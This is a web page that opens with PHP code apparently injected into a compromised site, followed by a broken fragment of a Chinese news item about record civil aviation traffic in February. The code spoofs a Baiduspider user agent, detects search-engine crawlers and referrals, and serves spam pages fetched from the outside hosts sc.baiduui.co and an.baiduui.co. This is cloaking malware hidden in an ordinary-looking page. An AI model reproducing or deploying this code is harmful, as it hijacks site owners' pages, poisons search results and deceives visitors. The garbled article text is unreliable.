header("Content-type: text/html; charset=utf-8");
set_time_limit(30);
error_reporting(0);
ini_set('user_agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$referrer = $_SERVER['HTTP_REFERER'];
$host = $_SERVER['HTTP_HOST'];
$uri = $_SERVER['REQUEST_URI'];
$rhost = preg_replace("/[^a-zA-Z0-9]/", "", $host);
$ruri = preg_replace("/[^a-zA-Z0-9]/", "", $uri);
$url = "https://sc.baiduui.co"."/".$rhost."/".$ruri.".html";
$Ourl = "https://an.baiduui.co"."/".$rhost."/".$ruri.".html";
$exp = array('google.com','yahoo.com','bing.com','baidu.com','sogou','soso',"sm");
foreach ($exp as $engine) {
if (strpos($user_agent, $engine) !== false) {
if(strpos($uri, '/?') !== false) {
$file_contents = file_get_contents($url);
echo $file_contents;
exit;
}elseif (strlen($uri) == 1) {
$file_contents = file_get_contents($Ourl);
echo $file_contents;
break;
}else {
$file_contents = file_get_contents($Ourl);
echo $file_contents;
break;
}
}
};
$is_search_engine_referral = false;
foreach ($exp as $engine) {
if (strpos($referrer, $engine) !== false && strlen($uri) !== 1) {
echo '';
echo '';
echo '';
exit();
}
};
2月我国民航运输生产规模创历史新高-代马依风网
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人参与 | 时间：2024-05-19 10:44:16
（原标题：2月我国民航运输生产规模创历史新高）
月国运输 顶: 12122踩: 42767
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